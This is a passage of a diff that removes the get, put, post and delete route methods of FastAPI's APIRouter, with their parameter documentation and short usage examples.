None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP GET operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - - app = FastAPI() - router = APIRouter() - - @router.get("/items/") - def read_items(): - return [{"name": "Empanada"}, {"name": "Arepa"}] - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["GET"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def put( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP PUT operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - router = APIRouter() - - @router.put("/items/{item_id}") - def replace_item(item_id: str, item: Item): - return {"message": "Item replaced", "id": item_id} - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["PUT"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def post( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP POST operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - router = APIRouter() - - @router.post("/items/") - def create_item(item: Item): - return {"message": "Item created"} - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["POST"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def delete( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP DELETE operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - - app = FastAPI() - router = APIRouter() - - @router.delete("/items/{item_id}") - def delete_item(item_id: str): - return {"message": "Item deleted"} - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["DELETE"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - 